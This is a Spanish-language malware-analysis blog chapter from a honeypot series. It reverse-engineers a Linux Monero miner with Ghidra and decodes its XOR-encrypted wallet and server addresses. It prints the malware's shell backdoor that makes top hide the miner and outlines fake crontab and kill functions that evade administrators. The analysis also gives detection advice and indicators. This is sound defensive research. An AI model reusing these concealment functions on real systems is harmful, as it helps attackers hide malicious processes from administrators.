ES EN
Índice

DIICOT · Capítulo 24

La línea que nadie escribió

En el capítulo anterior quedó un número sin explicar: el backdoor borraba un proceso distinto en cada instalación, y eso no se puede saber de antemano. Abro el minero y aparece la respuesta — una plantilla con el hueco reservado. De paso sale la cartera a la que va el dinero, detrás de un cifrado que da risa.

En el capítulo anterior me quedé con un cabo suelto. El bicho deja plantada una línea en el .bashrc del administrador que hace que top mienta y esconda al minero. Esa línea borra tres cosas, y una de ellas es un número distinto en cada instalación — el del propio proceso del bicho, que nadie puede saber de antemano porque lo reparte cada máquina sobre la marcha.

Algo lo estaba averiguando y pegándolo ahí en cuestión de segundos. Hoy abro el minero con Ghidra y sale qué. De paso sale a quién le paga y por dónde cobra.

01El binario en la mesa

La muestra es la del capítulo anterior: el fichero que se bajó de su servidor y se ejecutó como .16. Un ELF de 64 bits, estático — lleva dentro todas las bibliotecas que necesita, así que corre en cualquier máquina aunque esté vieja o recortada — y stripped, es decir, sin los nombres de sus propias funciones. El equivalente a arrancarle las etiquetas a todas las piezas antes de entregarlo.

Eso importa para lo que viene: cuando Ghidra abre un binario así no hay nombres que leer. Todo lo que aparece a partir de aquí lo he tenido que deducir del propio código, y los nombres que veréis en las capturas se los he puesto yo.

02La línea que nadie escribió

Vamos directos al cabo suelto. Busqué dentro del binario la línea del backdoor esperando no encontrarla — porque si el número cambia en cada máquina, la línea no puede estar guardada tal cual.

Está. Y está con un agujero en medio:

la plantilla, tal cual vive dentro del binario
top() { trap 'tput cnorm' INT; tput civis; { script -q -c "/usr/bin/top" /dev/null
 | sed -e '/16/d' -e '/libbase\.sh/d' -e '/[NUL]/d'; } || /usr/bin/top; tput cnorm; }
                                            
                       un byte cero, justo donde debería ir el número

Ese [NUL] es un byte cero: el carácter que en C marca el final de un texto. Para un programa, encontrarse un cero ahí significa «el texto se acaba aquí». Y eso es exactamente lo que es — el final de la primera mitad de la frase. La segunda mitad viene justo detrás, esperando.

O sea: el bicho no lleva la línea del backdoor. Lleva la plantilla, con el hueco ya reservado. Cuando llega el momento se pregunta cuál es su propio número de proceso, lo convierte a texto, lo mete en el agujero y escupe el resultado al .bashrc.

Ghidra mostrando la fabricación del backdoor: una llamada a getpid seguida de las referencias a las dos mitades de la plantilla
Ahí se fabrica la línea. Ghidra, con las variables renombradas por mí para que se siga. Arriba del todo, CALL getpid: el programa se pregunta cuál es su propio número de proceso. Debajo, las dos referencias que importan — la mitad A, que a la derecha se lee como "top() { trap 'tput cnorm' INT…", y más abajo la mitad B, que es "/d'; } || /usr/bin/top; tput…". Entre una y otra va el número recién preguntado. La línea del capítulo anterior se fabrica aquí, en el momento, en esta máquina.
La receta, paso a pasodesensamblado

Son cinco movimientos, en este orden:

ghidra · la receta, paso a paso
CALL getpid          // ¿cuál es mi número de proceso?
MOV  ESI,EAX         // guárdalo
CALL// conviértelo a texto — por esto hacen falta dos mitades
LEA  RSI,[MITAD_A]   // "top() { trap 'tput cnorm' … -e '/"
LEA  RDX,[MITAD_B]   // "/d'; } || /usr/bin/top; tput cnorm; }"
                          // resultado = MITAD_A + número + MITAD_B

El getpid del principio es lo que lo cierra todo: el número que borra el filtro no lo eligió nadie — se lo pregunta el bicho a sí mismo, justo antes de escribir la línea.

Y ahí está la explicación de los dos números del capítulo anterior. En una visita el proceso era el 7704 y en la otra el 2845; la plantilla es la misma, letra por letra, y lo único que cambió fue lo que se metió en el hueco.

Por qué esto zanja lo del capítulo anteriorAllí yo tenía una observación —dos discos, la misma frase, distinto número— y una corazonada sobre lo que significaba. Aquí está el porqué, y pesa más que cualquier corazonada: no es que la frase se parezca de una máquina a otra; es que se fabrica igual en todas. No queda margen para que varíe nada que no sea el hueco.

03Y no es un comando: son tres

Ya que estaba dentro, busqué si top era el único comando que pensaban reescribir. No lo es. Hay otros dos, y son mejores.

El primero es crontab, el comando con el que se gestionan las tareas programadas — es decir, el sitio donde un administrador miraría para ver qué se ejecuta solo en su máquina:

crontab() · recortado
crontab() {
  if   [ "$1" = -l ]; then  # «lístame las tareas» → le oculta las suyas
  elif [ "$1" = -e ]; then  # «déjame editarlas»  → se las repega al guardar
  elif [ "$1" = -r ]; then  # «bórralas todas»    → borra las tuyas y deja las suyas
  fi; }

Las tres ramas merecen leerse. Con -l te esconde sus entradas, que es lo esperable. Con -e te abre el editor con un fichero sin sus líneas, te deja tocar lo que quieras… y se las vuelve a pegar cuando guardas. Y la tercera es la buena: crontab -r significa «bórrame todas las tareas», y lo que hace es borrar las tuyas y reinstalar las suyas. El gesto de limpieza del administrador se convierte en el gesto de limpieza del atacante.

El segundo es kill, el comando para matar procesos, y es de una simplicidad desarmante: recorre lo que le pasas, tira a la basura cualquier -9 y llama al kill de verdad con lo que queda.

En Linux, kill -9 es la orden tajante: mata el proceso sin que este pueda negarse ni despedirse. Escribes kill -9 contra su minero y lo que sale por el otro lado es un kill a secas — una señal educada, que su proceso puede atrapar e ignorar. Desde esa shell no puedes matar nada a la fuerza, y el sistema no te avisa: el comando responde que sí, y el proceso sigue vivo.

Los tres van a por el mismo reflejotop para que no lo veas, crontab para que no encuentres cómo vuelve, kill para que no lo puedas rematar. Es, por ese orden, lo que hace cualquiera que sospeche de su servidor: mirar, buscar, matar. Le han puesto una trampa a cada paso. En mi máquina solo llegó a instalarse el de top — los otros dos estaban listos dentro del binario y no llegaron a escribirse —, pero como indicador valen los tres.

04Lo que lleva en el equipaje

Este binario no es solo un minero: es un minero que trae dentro su propia mudanza. Rebuscando aparecen las piezas que en mi máquina no llegaron a desplegarse.

Lo primero, otro programa entero escondido dentro. Un binario puede llevar otro empotrado como si fuera un dato más y escupirlo a disco cuando le conviene. Aquí hay dos, y uno de ellos es del tipo que se carga dentro de otros programas — una biblioteca. Ese es el rootkit de verdad, el que el capítulo anterior encontró a medio instalar: el /etc/ld.so.preload estaba puesto, pero vacío. La biblioteca que le faltaba viajaba aquí.

La saqué para ver qué sabe hacer, y es más modesta de lo que uno espera de un rootkit: engancha una sola función, la que lista el contenido de un directorio. Se instala como /usr/local/lib/libcommon.so y, una vez cargada en cada programa que arranca, cuando alguien pide el listado de /proc —que es de donde Linux saca la lista de lo que está corriendo— ella le quita el que se llama 16 antes de devolvérselo.

Y por eso tiene una contramedida barataSi solo intercepta la función de listar, el proceso sigue estando ahí: lo que falla es el índice, no el contenido. Así que para cazarlo no pidas la lista — recorre los números de proceso uno a uno y pregunta por cada uno directamente. El que se escondía contesta. Es la diferencia entre fiarte del índice de un libro y pasar las páginas.

Después, las piezas de las que el backdoor ya hablaba y que yo no había podido ver:

lo que el minero lleva dentro
libbase.sh          # el componente de enganche de shell
system-helper       # la persistencia por systemd del capítulo anterior
/var/tmp/snap       # una de las cargas que deja en disco
.X0-lock            # otra, disfrazada de fichero del servidor gráfico
__TTY_GUARD_OK__    # una autocomprobación (ver abajo)

Aquel libbase.sh que el filtro del top tapaba y que en la máquina no aparecía por ninguna parte: es suyo, y viaja aquí dentro. No es de otra víctima ni un despiste — está en la plantilla porque lo pone el kit, aunque en mi máquina no llegara a escribirse.

Y los nombres de las cargas dicen bastante: /var/tmp/snap suena al gestor de paquetes de Ubuntu, .X0-lock al fichero de bloqueo del servidor gráfico. Son nombres que un administrador ve en una lista y pasa de largo.

El kit se prueba a sí mismoEse __TTY_GUARD_OK__ es una autocomprobación: después de escribir su enganche en la shell, el kit lo lanza para ver si funciona, simulando primero que hay un terminal delante y luego que no. Le importa la diferencia porque un administrador entra con terminal y una tarea automática no — y quiere comportarse distinto en cada caso. Han pensado en quién va a entrar por esa puerta después que ellos.

05Seguir el dinero

Un minero tiene que saber dos cosas: a qué servidor conectarse y a qué cartera abonar lo que gane. Eso va dentro del binario, y es lo que más interesa — porque identifica al operador a través de todas sus víctimas, no solo de la mía.

La llevan cifrada. Pero con el candado más barato que existe: un XOR de un byte.

Qué es un XOR de un byteCoges cada letra del texto y la mezclas con una misma clave de un solo carácter, mediante una operación reversible. Volver a aplicarla con la misma clave devuelve el original. Es cifrado de juguete: solo hay 256 claves posibles, así que se prueban todas y ya está. Su única virtud es que el texto no salta a la vista de quien mire el binario por encima.

Así que las probé todas, buscando algo con forma de cartera de Monero — 95 caracteres, empezando por un 4 o un 8. Y el resultado no es lo que uno espera:

El barrido escupe basura, y ese es el aprendizajeLas 256 claves no dan «una respuesta»: dan más de cien candidatos. Casi todos son zonas del binario llenas de bytes repetidos que, al pasar por el XOR, se convierten en cadenas tipo 4444444… y encajan con el patrón por pura forma. Uno solo es real. La herramienta no decide: decide el criterio de quien mira.

Con la clave buena — resulta ser 0x5A — el bloque sale entero:

config descifrada (XOR 0x5A)
# la cartera de Monero
89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam

# y las tres direcciones, seguidas
169.58.248.162   # el proxy propio
5.189.149.171    # el servidor de reparto — el mismo del capítulo anterior
project0.cc      # el dominio
Ghidra mostrando las tres direcciones cifradas con XOR 0x5A junto a su traducción en el código C reconstruido
Las tres direcciones, tal como viajan. A la izquierda el ensamblador; a la derecha, el mismo código traducido a C. Las tres cadenas de aspecto tonto — *(50?9.jt99, otkbctknctkmk y klctobthnbtklh — son project0.cc, 5.189.149.171 y 169.58.248.162 en cuanto les pasas el XOR. Fíjate en las longitudes que les pasa: 0xb, 0xd y 0xe — once, trece y catorce, que es exactamente lo que miden los tres destinos. Es un cifrado que no esconde ni el tamaño de lo que esconde.

Y un detalle que me gusta mucho: en el texto descifrado los campos aparecen separados por letras Z. No es casualidad ni parte del dato — esas Z son los bytes cero. El relleno que separa una cadena de otra, al pasar por el XOR con 0x5A, se convierte todo en Z. Los separadores se delatan solos: no hay que adivinar dónde corta cada cadena, el propio cifrado te lo dibuja.

Por qué el relleno delata la clavecriptografía de juguete

La propiedad que lo explica es que cero mezclado con la clave da la clave. Como los bloques de configuración van rellenos de ceros para cuadrar tamaños, en el binario cifrado esos ceros aparecen convertidos, todos, en el mismo carácter — que es la clave en persona. Si ves un byte repitiéndose en bloques largos dentro de una zona por lo demás ilegible, ahí la tienes. Ni hace falta barrer.

La jerarquía de la lista cuenta el negocio: primero el proxy propio, después el servidor de reparto y el dominio, y solo al final siete pools públicos de supportxmr.com — que esos sí van en claro, sin cifrar. El operador mina contra lo suyo; el pool público es el paracaídas. Y también dice qué les importa esconder: lo que cifran es lo que los identifica; lo que cualquiera podría usar, no.

Cómo sé que es esta familia y no otraPoner un nombre es fácil; demostrarlo, menos. Me bajé las muestras que ya están catalogadas públicamente como esta familia y busqué en ellas lo que acababa de sacar de la mía. Dos llevan la misma cartera, el mismo proxy, el mismo servidor de reparto y el mismo dominio, y los cuatro tapados con la misma clave. Y una de ellas trae además casi todas las piezas que fui a buscar: libbase.sh, system-helper, .X0-lock, /var/tmp/snap, /etc/ld.so.preload, libcommon.so, el nombre 16 y la plantilla del top() — le falta una de la lista. No es parecido de familia: es el mismo bolsillo y las mismas herramientas.
Esto no es un hallazgo míoLa cartera y el proxy ya estaban dentro de muestras públicas de esta familia. No los descubrí yo; estaban ahí, cifrados. Lo que hago es sacarlos y leer, puestos en fila, cómo está montada la operación.

Y de ponerlas en fila sí sale algo. Las ordené por fecha de subida y miré, en cada una, cómo guardaban la cartera y contra qué minaban:

el cambio de modelo de cobro, por fechas
julio        cartera EN CLARO        ·  pool público directo
11 agosto    (loader, sin cartera)  ·  todavía sin proxy propio
30 agosto    (loader, sin cartera)  ·  ← aparece el proxy propio
septiembre   cartera cifrada         ·  proxy propio  ·  pool público de reserva

En julio minaban con la cartera a la vista contra un pool público. Para septiembre habían pasado a cartera cifrada contra un proxy propio, con el pool público degradado a red de seguridad — que es exactamente la jerarquía que acabo de leer en la config.

Y el cambio se puede fechar, aunque no por donde parecería. Las dos muestras de agosto no son mineros: son loaders —la pieza que instala— y no llevan cartera ninguna, así que por ahí no hay nada que comparar. Lo que sí llevan dentro es la dirección del proxy, y ahí está el corte: en la del 11 de agosto no aparece, y en la del 30 ya está. La bisagra cae entre esas dos fechas, y quien la marca es el proxy, no la cartera.

Cuidado con lo que eso significa y con lo que no. Lo que no se solapa es lo que llevan configurado los binarios: la cartera vieja aparece solo en las muestras de julio y siempre en claro; la nueva, solo en las de septiembre y siempre tapada. Eso es un dato de muestras, y hasta ahí llega. Qué hicieron las dos carteras de verdad —cuánto han cobrado, desde cuándo y si siguen cobrando— no está dentro de ningún binario, así que este capítulo no lo resuelve. Pero tampoco es un callejón: se puede averiguar desde fuera, y a eso le dedico la entrega siguiente entera.

06El 443 que no cifra nada

El proxy propio es 169.58.248.162, y escucha en el puerto 443. Ese es el puerto de HTTPS: el de las webs seguras, el que está abierto en todos los cortafuegos del mundo porque si lo cierras no se puede navegar.

Pero en la configuración el cifrado va desactivado. O sea: hablan el protocolo de minado en claro por el puerto de HTTPS. No lo usan para cifrar — lo usan para parecer tráfico web normal y pasar desapercibidos.

Y ahí hay una regla de detección que vale para cualquiera: tráfico saliente al 443 que nunca negocia un certificado. Una conexión HTTPS de verdad empieza siempre con un saludo en el que las dos partes acuerdan el cifrado. Si algo sale por el 443 y se salta ese paso, no es una web: es alguien escondiéndose detrás del número de puerto.

Y hay un patrón en dónde vive todo esto. El servidor de reparto, este proxy de cobro y la dirección desde la que entraron las dos últimas visitas están los tres en el mismo proveedor — Contabo, AS51167, un hosting barato y enorme. Las direcciones que solo llaman a la puerta probando contraseñas, en cambio, van rotando de proveedor en proveedor. Conviene decirlo con cuidado, porque el proveedor es legítimo y no tiene nada que ver: el dato no es Contabo, es que ellos lo eligen. Y la lectura es que las máquinas desde las que se ataca son desechables; las que hay que pagar y mantener —repartir el binario y cobrar el minado— las tienen juntas y quietas.

Un indicador extraído, no una conexión observadaLo repito porque importa: el minero de mi cebo nunca llegó a hablar con ese proxy — la contención lo paró antes. Sé que es su primer destino porque lo leí en el binario, no porque lo viera en el cable. Es un indicador extraído, y conviene decirlo así.

07Indicadores (IOCs)

Los de la intrusión están en el capítulo 23. Estos son los de dentro. La cartera va entera: el único al que apunta es al operador.

TipoValor
Cartera Monero89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam
Proxy de minado169.58.248.162:443 — sin TLS · indicador extraído, no conexión observada
Reparto y dominio5.189.149.171 · project0.cc
Pools de reservapool-{fr,phx,nyc,hk,sg,aus,ca}.supportxmr.com:5555 — los siete, en claro
Cifrado de configXOR de un byte, clave 0x5Abarre las 256, puede cambiar entre componentes
Plantilla del backdoorcadena partida por un byte cero donde se inserta el número de proceso en ejecución
Comandos falsos preparadostop() · crontab() · kill() — los tres, dentro del binario
Componentes embebidoslibbase.sh · system-helper · /usr/local/lib/libcommon.so (rootkit: engancha readdir)
Cargas en disco/var/tmp/snap · .X0-lock
Autocomprobación__TTY_GUARD_OK__ — lanzado con y sin terminal tras escribir el enganche
Firma de redtráfico saliente al 443 que nunca negocia TLS
SHA-256 (minero)a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125

Continuará — el binario ya no tiene más que darme. Me deja una cartera de noventa y cinco caracteres y una pregunta que él no puede contestar: ¿cuánto lleva ganado esto? Monero está hecho para que no se pueda mirar un saldo, así que la respuesta no va a salir de la cadena. Está en otra parte, y llegar hasta ella no exige tocar nada suyo. Tiro de ese hilo en el Capítulo 25. 🍯

Comentarios